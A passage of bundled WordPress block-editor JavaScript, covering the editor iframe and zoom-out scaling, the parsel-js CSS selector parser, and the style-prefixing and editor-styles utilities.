39718 const trigger = iframeDocument && previousIsZoomedOut.current !== isZoomedOut;
39719 previousIsZoomedOut.current = isZoomedOut;
39720 if (!trigger) {
39721 return;
39722 }
39723 startAnimationRef.current = true;
39724 if (!isZoomedOut) {
39725 return;
39726 }
39727 iframeDocument.documentElement.classList.add("is-zoomed-out");
39728 return () => {
39729 iframeDocument.documentElement.classList.remove("is-zoomed-out");
39730 };
39731 }, [iframeDocument, isZoomedOut]);
39732 (0,external_wp_element_namespaceObject.useEffect)(() => {
39733 if (!iframeDocument) {
39734 return;
39735 }
39736 if (isAutoScaled && transitionFromRef.current.scaleValue !== 1) {
39737 transitionFromRef.current.scaleValue = calculateScale({
39738 frameSize: transitionFromRef.current.frameSize,
39739 containerWidth,
39740 maxContainerWidth,
39741 scaleContainerWidth: containerWidth
39742 });
39743 }
39744 if (scaleValue < 1) {
39745 if (!startAnimationRef.current) {
39746 iframeDocument.documentElement.style.setProperty(
39747 "--wp-block-editor-iframe-zoom-out-scale",
39748 scaleValue
39749 );
39750 iframeDocument.documentElement.style.setProperty(
39751 "--wp-block-editor-iframe-zoom-out-frame-size",
39752 `${frameSize}px`
39753 );
39754 }
39755 iframeDocument.documentElement.style.setProperty(
39756 "--wp-block-editor-iframe-zoom-out-content-height",
39757 `${contentHeight}px`
39758 );
39759 iframeDocument.documentElement.style.setProperty(
39760 "--wp-block-editor-iframe-zoom-out-inner-height",
39761 `${containerHeight}px`
39762 );
39763 iframeDocument.documentElement.style.setProperty(
39764 "--wp-block-editor-iframe-zoom-out-container-width",
39765 `${containerWidth}px`
39766 );
39767 iframeDocument.documentElement.style.setProperty(
39768 "--wp-block-editor-iframe-zoom-out-scale-container-width",
39769 `${scaleContainerWidth}px`
39770 );
39771 }
39772 if (startAnimationRef.current) {
39773 startAnimationRef.current = false;
39774 if (animationRef.current) {
39775 animationRef.current.reverse();
39776 const tempTransitionFrom = transitionFromRef.current;
39777 const tempTransitionTo = transitionToRef.current;
39778 transitionFromRef.current = tempTransitionTo;
39779 transitionToRef.current = tempTransitionFrom;
39780 } else {
39781 transitionFromRef.current.scrollTop = iframeDocument.documentElement.scrollTop;
39782 transitionFromRef.current.scrollHeight = iframeDocument.documentElement.scrollHeight;
39783 transitionFromRef.current.containerHeight = containerHeight;
39784 transitionToRef.current = {
39785 scaleValue,
39786 frameSize,
39787 containerHeight: iframeDocument.documentElement.clientHeight
39788 // use clientHeight to get the actual height of the new container after zoom state changes have rendered, as it will be the most up-to-date.
39789 };
39790 transitionToRef.current.scrollHeight = computeScrollHeightNext(
39791 transitionFromRef.current,
39792 transitionToRef.current
39793 );
39794 transitionToRef.current.scrollTop = computeScrollTopNext(
39795 transitionFromRef.current,
39796 transitionToRef.current
39797 );
39798 animationRef.current = startZoomOutAnimation();
39799 if (prefersReducedMotion) {
39800 finishZoomOutAnimation();
39801 } else {
39802 animationRef.current.onfinish = finishZoomOutAnimation;
39803 }
39804 }
39805 }
39806 }, [
39807 startZoomOutAnimation,
39808 finishZoomOutAnimation,
39809 prefersReducedMotion,
39810 isAutoScaled,
39811 scaleValue,
39812 frameSize,
39813 iframeDocument,
39814 contentHeight,
39815 containerWidth,
39816 containerHeight,
39817 maxContainerWidth,
39818 scaleContainerWidth
39819 ]);
39820 return {
39821 isZoomedOut,
39822 scaleContainerWidth,
39823 contentResizeListener,
39824 containerResizeListener
39825 };
39826}
39827
39828
39829;// ./node_modules/@wordpress/block-editor/build-module/components/iframe/index.js
39830
39831
39832
39833
39834
39835
39836
39837
39838
39839
39840
39841
39842function bubbleEvent(event, Constructor, frame) {
39843 const init = {};
39844 for (const key in event) {
39845 init[key] = event[key];
39846 }
39847 if (event instanceof frame.contentDocument.defaultView.MouseEvent) {
39848 const rect = frame.getBoundingClientRect();
39849 init.clientX += rect.left;
39850 init.clientY += rect.top;
39851 }
39852 const newEvent = new Constructor(event.type, init);
39853 if (init.defaultPrevented) {
39854 newEvent.preventDefault();
39855 }
39856 const cancelled = !frame.dispatchEvent(newEvent);
39857 if (cancelled) {
39858 event.preventDefault();
39859 }
39860}
39861function useBubbleEvents(iframeDocument) {
39862 return (0,external_wp_compose_namespaceObject.useRefEffect)(() => {
39863 const { defaultView } = iframeDocument;
39864 if (!defaultView) {
39865 return;
39866 }
39867 const { frameElement } = defaultView;
39868 const html = iframeDocument.documentElement;
39869 const eventTypes = ["dragover", "mousemove"];
39870 const handlers = {};
39871 for (const name of eventTypes) {
39872 handlers[name] = (event) => {
39873 const prototype = Object.getPrototypeOf(event);
39874 const constructorName = prototype.constructor.name;
39875 const Constructor = window[constructorName];
39876 bubbleEvent(event, Constructor, frameElement);
39877 };
39878 html.addEventListener(name, handlers[name]);
39879 }
39880 return () => {
39881 for (const name of eventTypes) {
39882 html.removeEventListener(name, handlers[name]);
39883 }
39884 };
39885 });
39886}
39887function Iframe({
39888 contentRef,
39889 children,
39890 tabIndex = 0,
39891 scale = 1,
39892 frameSize = 0,
39893 readonly,
39894 forwardedRef: ref,
39895 title = (0,external_wp_i18n_namespaceObject.__)("Editor canvas"),
39896 ...props
39897}) {
39898 const { resolvedAssets, isPreviewMode } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
39899 const { getSettings } = select(store);
39900 const settings = getSettings();
39901 return {
39902 resolvedAssets: settings.__unstableResolvedAssets,
39903 isPreviewMode: settings.isPreviewMode
39904 };
39905 }, []);
39906 const { styles = "", scripts = "" } = resolvedAssets;
39907 const [iframeDocument, setIframeDocument] = (0,external_wp_element_namespaceObject.useState)();
39908 const [bodyClasses, setBodyClasses] = (0,external_wp_element_namespaceObject.useState)([]);
39909 const clearerRef = useBlockSelectionClearer();
39910 const [before, writingFlowRef, after] = useWritingFlow();
39911 const setRef = (0,external_wp_compose_namespaceObject.useRefEffect)((node) => {
39912 node._load = () => {
39913 setIframeDocument(node.contentDocument);
39914 };
39915 let iFrameDocument;
39916 function preventFileDropDefault(event) {
39917 event.preventDefault();
39918 }
39919 function interceptLinkClicks(event) {
39920 if (event.target.tagName === "A" && event.target.getAttribute("href")?.startsWith("#")) {
39921 event.preventDefault();
39922 iFrameDocument.defaultView.location.hash = event.target.getAttribute("href").slice(1);
39923 }
39924 }
39925 const { ownerDocument } = node;
39926 setBodyClasses(
39927 Array.from(ownerDocument.body.classList).filter(
39928 (name) => name.startsWith("admin-color-") || name.startsWith("post-type-") || name === "wp-embed-responsive"
39929 )
39930 );
39931 function onLoad() {
39932 const { contentDocument } = node;
39933 const { documentElement } = contentDocument;
39934 iFrameDocument = contentDocument;
39935 documentElement.classList.add("block-editor-iframe__html");
39936 clearerRef(documentElement);
39937 contentDocument.dir = ownerDocument.dir;
39938 for (const compatStyle of getCompatibilityStyles()) {
39939 if (contentDocument.getElementById(compatStyle.id)) {
39940 continue;
39941 }
39942 contentDocument.head.appendChild(
39943 compatStyle.cloneNode(true)
39944 );
39945 if (!isPreviewMode) {
39946 console.warn(
39947 `${compatStyle.id} was added to the iframe incorrectly. Please use block.json or enqueue_block_assets to add styles to the iframe.`,
39948 compatStyle
39949 );
39950 }
39951 }
39952 iFrameDocument.addEventListener(
39953 "dragover",
39954 preventFileDropDefault,
39955 false
39956 );
39957 iFrameDocument.addEventListener(
39958 "drop",
39959 preventFileDropDefault,
39960 false
39961 );
39962 iFrameDocument.addEventListener("click", interceptLinkClicks);
39963 }
39964 node.addEventListener("load", onLoad);
39965 return () => {
39966 delete node._load;
39967 node.removeEventListener("load", onLoad);
39968 iFrameDocument?.removeEventListener(
39969 "dragover",
39970 preventFileDropDefault
39971 );
39972 iFrameDocument?.removeEventListener(
39973 "drop",
39974 preventFileDropDefault
39975 );
39976 iFrameDocument?.removeEventListener("click", interceptLinkClicks);
39977 };
39978 }, []);
39979 const {
39980 contentResizeListener,
39981 containerResizeListener,
39982 isZoomedOut,
39983 scaleContainerWidth
39984 } = useScaleCanvas({
39985 scale,
39986 frameSize: parseInt(frameSize),
39987 iframeDocument
39988 });
39989 const disabledRef = (0,external_wp_compose_namespaceObject.useDisabled)({ isDisabled: !readonly });
39990 const bodyRef = (0,external_wp_compose_namespaceObject.useMergeRefs)([
39991 useBubbleEvents(iframeDocument),
39992 contentRef,
39993 clearerRef,
39994 writingFlowRef,
39995 disabledRef
39996 ]);
39997 const html = `<!doctype html>
39998<html>
39999 <head>
40000 <meta charset="utf-8">
40001 <base href="${window.location.origin}">
40002 <script>window.frameElement._load()</script>
40003 <style>
40004 html{
40005 height: auto !important;
40006 min-height: 100%;
40007 }
40008 /* Lowest specificity to not override global styles */
40009 :where(body) {
40010 margin: 0;
40011 /* Default background color in case zoom out mode background
40012 colors the html element */
40013 background-color: white;
40014 }
40015 </style>
40016 ${styles}
40017 ${scripts}
40018 </head>
40019 <body>
40020 <script>document.currentScript.parentElement.remove()</script>
40021 </body>
40022</html>`;
40023 const [src, cleanup] = (0,external_wp_element_namespaceObject.useMemo)(() => {
40024 const _src = URL.createObjectURL(
40025 new window.Blob([html], { type: "text/html" })
40026 );
40027 return [_src, () => URL.revokeObjectURL(_src)];
40028 }, [html]);
40029 (0,external_wp_element_namespaceObject.useEffect)(() => cleanup, [cleanup]);
40030 const shouldRenderFocusCaptureElements = tabIndex >= 0 && !isPreviewMode;
40031 const iframe = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
40032 shouldRenderFocusCaptureElements && before,
40033 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40034 "iframe",
40035 {
40036 ...props,
40037 style: {
40038 ...props.style,
40039 height: props.style?.height,
40040 border: 0
40041 },
40042 ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([ref, setRef]),
40043 tabIndex,
40044 src,
40045 title,
40046 onKeyDown: (event) => {
40047 if (props.onKeyDown) {
40048 props.onKeyDown(event);
40049 }
40050 if (event.currentTarget.ownerDocument !== event.target.ownerDocument) {
40051 const { stopPropagation } = event.nativeEvent;
40052 event.nativeEvent.stopPropagation = () => {
40053 };
40054 event.stopPropagation();
40055 event.nativeEvent.stopPropagation = stopPropagation;
40056 bubbleEvent(
40057 event,
40058 window.KeyboardEvent,
40059 event.currentTarget
40060 );
40061 }
40062 },
40063 children: iframeDocument && (0,external_wp_element_namespaceObject.createPortal)(
40064 // We want to prevent React events from bubbling through the iframe
40065 // we bubble these manually.
40066 /* eslint-disable-next-line jsx-a11y/no-noninteractive-element-interactions */
40067 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
40068 "body",
40069 {
40070 ref: bodyRef,
40071 className: dist_clsx(
40072 "block-editor-iframe__body",
40073 "editor-styles-wrapper",
40074 ...bodyClasses
40075 ),
40076 children: [
40077 contentResizeListener,
40078 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalStyleProvider, { document: iframeDocument, children })
40079 ]
40080 }
40081 ),
40082 iframeDocument.documentElement
40083 )
40084 }
40085 ),
40086 shouldRenderFocusCaptureElements && after
40087 ] });
40088 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-iframe__container", children: [
40089 containerResizeListener,
40090 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40091 "div",
40092 {
40093 className: dist_clsx(
40094 "block-editor-iframe__scale-container",
40095 isZoomedOut && "is-zoomed-out"
40096 ),
40097 style: {
40098 "--wp-block-editor-iframe-zoom-out-scale-container-width": isZoomedOut && `${scaleContainerWidth}px`
40099 },
40100 children: iframe
40101 }
40102 )
40103 ] });
40104}
40105function IframeIfReady(props, ref) {
40106 const isInitialised = (0,external_wp_data_namespaceObject.useSelect)(
40107 (select) => select(store).getSettings().__internalIsInitialized,
40108 []
40109 );
40110 if (!isInitialised) {
40111 return null;
40112 }
40113 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Iframe, { ...props, forwardedRef: ref });
40114}
40115var iframe_default = (0,external_wp_element_namespaceObject.forwardRef)(IframeIfReady);
40116
40117
40118;// ./node_modules/parsel-js/dist/parsel.js
40119const TOKENS = {
40120 attribute: /\[\s*(?:(?<namespace>\*|[-\w\P{ASCII}]*)\|)?(?<name>[-\w\P{ASCII}]+)\s*(?:(?<operator>\W?=)\s*(?<value>.+?)\s*(\s(?<caseSensitive>[iIsS]))?\s*)?\]/gu,
40121 id: /#(?<name>[-\w\P{ASCII}]+)/gu,
40122 class: /\.(?<name>[-\w\P{ASCII}]+)/gu,
40123 comma: /\s*,\s*/g,
40124 combinator: /\s*[\s>+~]\s*/g,
40125 'pseudo-element': /::(?<name>[-\w\P{ASCII}]+)(?:\((?<argument>¶*)\))?/gu,
40126 'pseudo-class': /:(?<name>[-\w\P{ASCII}]+)(?:\((?<argument>¶*)\))?/gu,
40127 universal: /(?:(?<namespace>\*|[-\w\P{ASCII}]*)\|)?\*/gu,
40128 type: /(?:(?<namespace>\*|[-\w\P{ASCII}]*)\|)?(?<name>[-\w\P{ASCII}]+)/gu, // this must be last
40129};
40130const TRIM_TOKENS = new Set(['combinator', 'comma']);
40131const RECURSIVE_PSEUDO_CLASSES = new Set([
40132 'not',
40133 'is',
40134 'where',
40135 'has',
40136 'matches',
40137 '-moz-any',
40138 '-webkit-any',
40139 'nth-child',
40140 'nth-last-child',
40141]);
40142const nthChildRegExp = /(?<index>[\dn+-]+)\s+of\s+(?<subtree>.+)/;
40143const RECURSIVE_PSEUDO_CLASSES_ARGS = {
40144 'nth-child': nthChildRegExp,
40145 'nth-last-child': nthChildRegExp,
40146};
40147const getArgumentPatternByType = (type) => {
40148 switch (type) {
40149 case 'pseudo-element':
40150 case 'pseudo-class':
40151 return new RegExp(TOKENS[type].source.replace('(?<argument>¶*)', '(?<argument>.*)'), 'gu');
40152 default:
40153 return TOKENS[type];
40154 }
40155};
40156function gobbleParens(text, offset) {
40157 let nesting = 0;
40158 let result = '';
40159 for (; offset < text.length; offset++) {
40160 const char = text[offset];
40161 switch (char) {
40162 case '(':
40163 ++nesting;
40164 break;
40165 case ')':
40166 --nesting;
40167 break;
40168 }
40169 result += char;
40170 if (nesting === 0) {
40171 return result;
40172 }
40173 }
40174 return result;
40175}
40176function tokenizeBy(text, grammar = TOKENS) {
40177 if (!text) {
40178 return [];
40179 }
40180 const tokens = [text];
40181 for (const [type, pattern] of Object.entries(grammar)) {
40182 for (let i = 0; i < tokens.length; i++) {
40183 const token = tokens[i];
40184 if (typeof token !== 'string') {
40185 continue;
40186 }
40187 pattern.lastIndex = 0;
40188 const match = pattern.exec(token);
40189 if (!match) {
40190 continue;
40191 }
40192 const from = match.index - 1;
40193 const args = [];
40194 const content = match[0];
40195 const before = token.slice(0, from + 1);
40196 if (before) {
40197 args.push(before);
40198 }
40199 args.push({
40200 ...match.groups,
40201 type,
40202 content,
40203 });
40204 const after = token.slice(from + content.length + 1);
40205 if (after) {
40206 args.push(after);
40207 }
40208 tokens.splice(i, 1, ...args);
40209 }
40210 }
40211 let offset = 0;
40212 for (const token of tokens) {
40213 switch (typeof token) {
40214 case 'string':
40215 throw new Error(`Unexpected sequence ${token} found at index ${offset}`);
40216 case 'object':
40217 offset += token.content.length;
40218 token.pos = [offset - token.content.length, offset];
40219 if (TRIM_TOKENS.has(token.type)) {
40220 token.content = token.content.trim() || ' ';
40221 }
40222 break;
40223 }
40224 }
40225 return tokens;
40226}
40227const STRING_PATTERN = /(['"])([^\\\n]+?)\1/g;
40228const ESCAPE_PATTERN = /\\./g;
40229function parsel_tokenize(selector, grammar = TOKENS) {
40230 // Prevent leading/trailing whitespaces from being interpreted as combinators
40231 selector = selector.trim();
40232 if (selector === '') {
40233 return [];
40234 }
40235 const replacements = [];
40236 // Replace escapes with placeholders.
40237 selector = selector.replace(ESCAPE_PATTERN, (value, offset) => {
40238 replacements.push({ value, offset });
40239 return '\uE000'.repeat(value.length);
40240 });
40241 // Replace strings with placeholders.
40242 selector = selector.replace(STRING_PATTERN, (value, quote, content, offset) => {
40243 replacements.push({ value, offset });
40244 return `${quote}${'\uE001'.repeat(content.length)}${quote}`;
40245 });
40246 // Replace parentheses with placeholders.
40247 {
40248 let pos = 0;
40249 let offset;
40250 while ((offset = selector.indexOf('(', pos)) > -1) {
40251 const value = gobbleParens(selector, offset);
40252 replacements.push({ value, offset });
40253 selector = `${selector.substring(0, offset)}(${'¶'.repeat(value.length - 2)})${selector.substring(offset + value.length)}`;
40254 pos = offset + value.length;
40255 }
40256 }
40257 // Now we have no nested structures and we can parse with regexes
40258 const tokens = tokenizeBy(selector, grammar);
40259 // Replace placeholders in reverse order.
40260 const changedTokens = new Set();
40261 for (const replacement of replacements.reverse()) {
40262 for (const token of tokens) {
40263 const { offset, value } = replacement;
40264 if (!(token.pos[0] <= offset &&
40265 offset + value.length <= token.pos[1])) {
40266 continue;
40267 }
40268 const { content } = token;
40269 const tokenOffset = offset - token.pos[0];
40270 token.content =
40271 content.slice(0, tokenOffset) +
40272 value +
40273 content.slice(tokenOffset + value.length);
40274 if (token.content !== content) {
40275 changedTokens.add(token);
40276 }
40277 }
40278 }
40279 // Update changed tokens.
40280 for (const token of changedTokens) {
40281 const pattern = getArgumentPatternByType(token.type);
40282 if (!pattern) {
40283 throw new Error(`Unknown token type: ${token.type}`);
40284 }
40285 pattern.lastIndex = 0;
40286 const match = pattern.exec(token.content);
40287 if (!match) {
40288 throw new Error(`Unable to parse content for ${token.type}: ${token.content}`);
40289 }
40290 Object.assign(token, match.groups);
40291 }
40292 return tokens;
40293}
40294/**
40295 * Convert a flat list of tokens into a tree of complex & compound selectors
40296 */
40297function nestTokens(tokens, { list = true } = {}) {
40298 if (list && tokens.find((t) => t.type === 'comma')) {
40299 const selectors = [];
40300 const temp = [];
40301 for (let i = 0; i < tokens.length; i++) {
40302 if (tokens[i].type === 'comma') {
40303 if (temp.length === 0) {
40304 throw new Error('Incorrect comma at ' + i);
40305 }
40306 selectors.push(nestTokens(temp, { list: false }));
40307 temp.length = 0;
40308 }
40309 else {
40310 temp.push(tokens[i]);
40311 }
40312 }
40313 if (temp.length === 0) {
40314 throw new Error('Trailing comma');
40315 }
40316 else {
40317 selectors.push(nestTokens(temp, { list: false }));
40318 }
40319 return { type: 'list', list: selectors };
40320 }
40321 for (let i = tokens.length - 1; i >= 0; i--) {
40322 let token = tokens[i];
40323 if (token.type === 'combinator') {
40324 let left = tokens.slice(0, i);
40325 let right = tokens.slice(i + 1);
40326 return {
40327 type: 'complex',
40328 combinator: token.content,
40329 left: nestTokens(left),
40330 right: nestTokens(right),
40331 };
40332 }
40333 }
40334 switch (tokens.length) {
40335 case 0:
40336 throw new Error('Could not build AST.');
40337 case 1:
40338 // If we're here, there are no combinators, so it's just a list.
40339 return tokens[0];
40340 default:
40341 return {
40342 type: 'compound',
40343 list: [...tokens], // clone to avoid pointers messing up the AST
40344 };
40345 }
40346}
40347/**
40348 * Traverse an AST in depth-first order
40349 */
40350function* flatten(node,
40351/**
40352 * @internal
40353 */
40354parent) {
40355 switch (node.type) {
40356 case 'list':
40357 for (let child of node.list) {
40358 yield* flatten(child, node);
40359 }
40360 break;
40361 case 'complex':
40362 yield* flatten(node.left, node);
40363 yield* flatten(node.right, node);
40364 break;
40365 case 'compound':
40366 yield* node.list.map((token) => [token, node]);
40367 break;
40368 default:
40369 yield [node, parent];
40370 }
40371}
40372/**
40373 * Traverse an AST (or part thereof), in depth-first order
40374 */
40375function walk(node, visit,
40376/**
40377 * @internal
40378 */
40379parent) {
40380 if (!node) {
40381 return;
40382 }
40383 for (const [token, ast] of flatten(node, parent)) {
40384 visit(token, ast);
40385 }
40386}
40387/**
40388 * Parse a CSS selector
40389 *
40390 * @param selector - The selector to parse
40391 * @param options.recursive - Whether to parse the arguments of pseudo-classes like :is(), :has() etc. Defaults to true.
40392 * @param options.list - Whether this can be a selector list (A, B, C etc). Defaults to true.
40393 */
40394function parse(selector, { recursive = true, list = true } = {}) {
40395 const tokens = parsel_tokenize(selector);
40396 if (!tokens) {
40397 return;
40398 }
40399 const ast = nestTokens(tokens, { list });
40400 if (!recursive) {
40401 return ast;
40402 }
40403 for (const [token] of flatten(ast)) {
40404 if (token.type !== 'pseudo-class' || !token.argument) {
40405 continue;
40406 }
40407 if (!RECURSIVE_PSEUDO_CLASSES.has(token.name)) {
40408 continue;
40409 }
40410 let argument = token.argument;
40411 const childArg = RECURSIVE_PSEUDO_CLASSES_ARGS[token.name];
40412 if (childArg) {
40413 const match = childArg.exec(argument);
40414 if (!match) {
40415 continue;
40416 }
40417 Object.assign(token, match.groups);
40418 argument = match.groups['subtree'];
40419 }
40420 if (!argument) {
40421 continue;
40422 }
40423 Object.assign(token, {
40424 subtree: parse(argument, {
40425 recursive: true,
40426 list: true,
40427 }),
40428 });
40429 }
40430 return ast;
40431}
40432/**
40433 * Converts the given list or (sub)tree to a string.
40434 */
40435function parsel_stringify(listOrNode) {
40436 let tokens;
40437 if (Array.isArray(listOrNode)) {
40438 tokens = listOrNode;
40439 }
40440 else {
40441 tokens = [...flatten(listOrNode)].map(([token]) => token);
40442 }
40443 return tokens.map(token => token.content).join('');
40444}
40445/**
40446 * To convert the specificity array to a number
40447 */
40448function specificityToNumber(specificity, base) {
40449 base = base || Math.max(...specificity) + 1;
40450 return (specificity[0] * (base << 1) + specificity[1] * base + specificity[2]);
40451}
40452/**
40453 * Calculate specificity of a selector.
40454 *
40455 * If the selector is a list, the max specificity is returned.
40456 */
40457function specificity(selector) {
40458 let ast = selector;
40459 if (typeof ast === 'string') {
40460 ast = parse(ast, { recursive: true });
40461 }
40462 if (!ast) {
40463 return [];
40464 }
40465 if (ast.type === 'list' && 'list' in ast) {
40466 let base = 10;
40467 const specificities = ast.list.map((ast) => {
40468 const sp = specificity(ast);
40469 base = Math.max(base, ...specificity(ast));
40470 return sp;
40471 });
40472 const numbers = specificities.map((ast) => specificityToNumber(ast, base));
40473 return specificities[numbers.indexOf(Math.max(...numbers))];
40474 }
40475 const ret = [0, 0, 0];
40476 for (const [token] of flatten(ast)) {
40477 switch (token.type) {
40478 case 'id':
40479 ret[0]++;
40480 break;
40481 case 'class':
40482 case 'attribute':
40483 ret[1]++;
40484 break;
40485 case 'pseudo-element':
40486 case 'type':
40487 ret[2]++;
40488 break;
40489 case 'pseudo-class':
40490 if (token.name === 'where') {
40491 break;
40492 }
40493 if (!RECURSIVE_PSEUDO_CLASSES.has(token.name) ||
40494 !token.subtree) {
40495 ret[1]++;
40496 break;
40497 }
40498 const sub = specificity(token.subtree);
40499 sub.forEach((s, i) => (ret[i] += s));
40500 // :nth-child() & :nth-last-child() add (0, 1, 0) to the specificity of their most complex selector
40501 if (token.name === 'nth-child' ||
40502 token.name === 'nth-last-child') {
40503 ret[1]++;
40504 }
40505 }
40506 }
40507 return ret;
40508}
40509
40510
40511
40512// EXTERNAL MODULE: ./node_modules/postcss/lib/processor.js
40513var processor = __webpack_require__(9656);
40514var processor_default = /*#__PURE__*/__webpack_require__.n(processor);
40515// EXTERNAL MODULE: ./node_modules/postcss/lib/css-syntax-error.js
40516var css_syntax_error = __webpack_require__(356);
40517var css_syntax_error_default = /*#__PURE__*/__webpack_require__.n(css_syntax_error);
40518// EXTERNAL MODULE: ./node_modules/postcss-prefix-selector/index.js
40519var postcss_prefix_selector = __webpack_require__(1443);
40520var postcss_prefix_selector_default = /*#__PURE__*/__webpack_require__.n(postcss_prefix_selector);
40521// EXTERNAL MODULE: ./node_modules/postcss-urlrebase/index.js
40522var postcss_urlrebase = __webpack_require__(5404);
40523var postcss_urlrebase_default = /*#__PURE__*/__webpack_require__.n(postcss_urlrebase);
40524;// ./node_modules/@wordpress/block-editor/build-module/utils/transform-styles/index.js
40525
40526
40527
40528
40529
40530const cacheByWrapperSelector = /* @__PURE__ */ new Map();
40531const ROOT_SELECTOR_TOKENS = [
40532 { type: "type", content: "body" },
40533 { type: "type", content: "html" },
40534 { type: "pseudo-class", content: ":root" },
40535 { type: "pseudo-class", content: ":where(body)" },
40536 { type: "pseudo-class", content: ":where(:root)" },
40537 { type: "pseudo-class", content: ":where(html)" }
40538];
40539function prefixRootSelector(prefix, selector) {
40540 const tokenized = parsel_tokenize(selector);
40541 const lastRootIndex = tokenized.findLastIndex(({ content, type }) => {
40542 return ROOT_SELECTOR_TOKENS.some(
40543 (rootSelector) => content === rootSelector.content && type === rootSelector.type
40544 );
40545 });
40546 let insertionPoint = -1;
40547 for (let i = lastRootIndex + 1; i < tokenized.length; i++) {
40548 if (tokenized[i].type === "combinator") {
40549 insertionPoint = i;
40550 break;
40551 }
40552 }
40553 const tokenizedPrefix = parsel_tokenize(prefix);
40554 tokenized.splice(
40555 // Insert at the insertion point, or the end.
40556 insertionPoint === -1 ? tokenized.length : insertionPoint,
40557 0,
40558 {
40559 type: "combinator",
40560 content: " "
40561 },
40562 ...tokenizedPrefix
40563 );
40564 return parsel_stringify(tokenized);
40565}
40566function transformStyle({ css, ignoredSelectors = [], baseURL }, wrapperSelector = "", transformOptions) {
40567 if (!wrapperSelector && !baseURL) {
40568 return css;
40569 }
40570 try {
40571 const excludedSelectors = [
40572 ...ignoredSelectors,
40573 ...transformOptions?.ignoredSelectors ?? [],
40574 wrapperSelector
40575 ];
40576 return new (processor_default())(
40577 [
40578 wrapperSelector && postcss_prefix_selector_default()({
40579 prefix: wrapperSelector,
40580 transform(prefix, selector, prefixedSelector) {
40581 if (excludedSelectors.some(
40582 (excludedSelector) => excludedSelector instanceof RegExp ? selector.match(excludedSelector) : selector.includes(excludedSelector)
40583 )) {
40584 return selector;
40585 }
40586 const hasRootSelector = ROOT_SELECTOR_TOKENS.some(
40587 (rootSelector) => selector.startsWith(rootSelector.content)
40588 );
40589 if (hasRootSelector) {
40590 return prefixRootSelector(prefix, selector);
40591 }
40592 return prefixedSelector;
40593 }
40594 }),
40595 baseURL && postcss_urlrebase_default()({ rootUrl: baseURL })
40596 ].filter(Boolean)
40597 ).process(css, {}).css;
40598 } catch (error) {
40599 if (error instanceof (css_syntax_error_default())) {
40600 console.warn(
40601 "wp.blockEditor.transformStyles Failed to transform CSS.",
40602 error.message + "\n" + error.showSourceCode(false)
40603 );
40604 } else {
40605 console.warn(
40606 "wp.blockEditor.transformStyles Failed to transform CSS.",
40607 error
40608 );
40609 }
40610 return null;
40611 }
40612}
40613const transform_styles_transformStyles = (styles, wrapperSelector = "", transformOptions) => {
40614 let cache = cacheByWrapperSelector.get(wrapperSelector);
40615 if (!cache) {
40616 cache = /* @__PURE__ */ new WeakMap();
40617 cacheByWrapperSelector.set(wrapperSelector, cache);
40618 }
40619 return styles.map((style) => {
40620 let css = cache.get(style);
40621 if (!css) {
40622 css = transformStyle(style, wrapperSelector, transformOptions);
40623 cache.set(style, css);
40624 }
40625 return css;
40626 });
40627};
40628var transform_styles_default = transform_styles_transformStyles;
40629
40630
40631;// ./node_modules/@wordpress/block-editor/build-module/components/editor-styles/index.js
40632
40633
40634
40635
40636
40637
40638
40639
40640
40641
40642k([names, a11y]);
40643function useDarkThemeBodyClassName(styles, scope) {
40644 return (0,external_wp_element_namespaceObject.useCallback)(
40645 (node) => {
40646 if (!node) {
40647 return;
40648 }
40649 const { ownerDocument } = node;
40650 const { defaultView, body } = ownerDocument;
40651 const canvas = scope ? ownerDocument.querySelector(scope) : body;
40652 let backgroundColor;
40653 if (!canvas) {
40654 const tempCanvas = ownerDocument.createElement("div");
40655 tempCanvas.classList.add("editor-styles-wrapper");
40656 body.appendChild(tempCanvas);
40657 backgroundColor = defaultView?.getComputedStyle(tempCanvas, null).getPropertyValue("background-color");
40658 body.removeChild(tempCanvas);
40659 } else {
40660 backgroundColor = defaultView?.getComputedStyle(canvas, null).getPropertyValue("background-color");
40661 }
40662 const colordBackgroundColor = w(backgroundColor);
40663 if (colordBackgroundColor.luminance() > 0.5 || colordBackgroundColor.alpha() === 0) {
40664 body.classList.remove("is-dark-theme");
40665 } else {
40666 body.classList.add("is-dark-theme");
40667 }
40668 },
40669 [styles, scope]
40670 );
40671}
40672function EditorStyles({ styles, scope, transformOptions }) {
40673 const overrides = (0,external_wp_data_namespaceObject.useSelect)(
40674 (select) => unlock(select(store)).getStyleOverrides(),
40675 []
40676 );
40677 const [transformedStyles, transformedSvgs] = (0,external_wp_element_namespaceObject.useMemo)(() => {
40678 const _styles = Object.values(styles ?? []);
40679 for (const [id, override] of overrides) {
40680 const index = _styles.findIndex(({ id: _id }) => id === _id);
40681 const overrideWithId = { ...override, id };
40682 if (index === -1) {
40683 _styles.push(overrideWithId);
40684 } else {
40685 _styles[index] = overrideWithId;
40686 }
40687 }
40688 return [
40689 transform_styles_default(
40690 _styles.filter((style) => style?.css),
40691 scope,
40692 transformOptions
40693 ),
40694 _styles.filter((style) => style.__unstableType === "svgs").map((style) => style.assets).join("")
40695 ];
40696 }, [styles, overrides, scope, transformOptions]);
40697 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
40698 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40699 "style",
40700 {
40701 ref: useDarkThemeBodyClassName(transformedStyles, scope)
40702 }
40703 ),
40704 transformedStyles.map((css, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("style", { children: css }, index)),
40705 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40706 external_wp_components_namespaceObject.SVG,
40707 {
40708 xmlns: "http://www.w3.org/2000/svg",
40709 viewBox: "0 0 0 0",
40710 width: "0",
40711 height: "0",
40712 role: "none",
40713 style: {
40714 visibility: "hidden",
40715 position: "absolute",
40716 left: "-9999px",
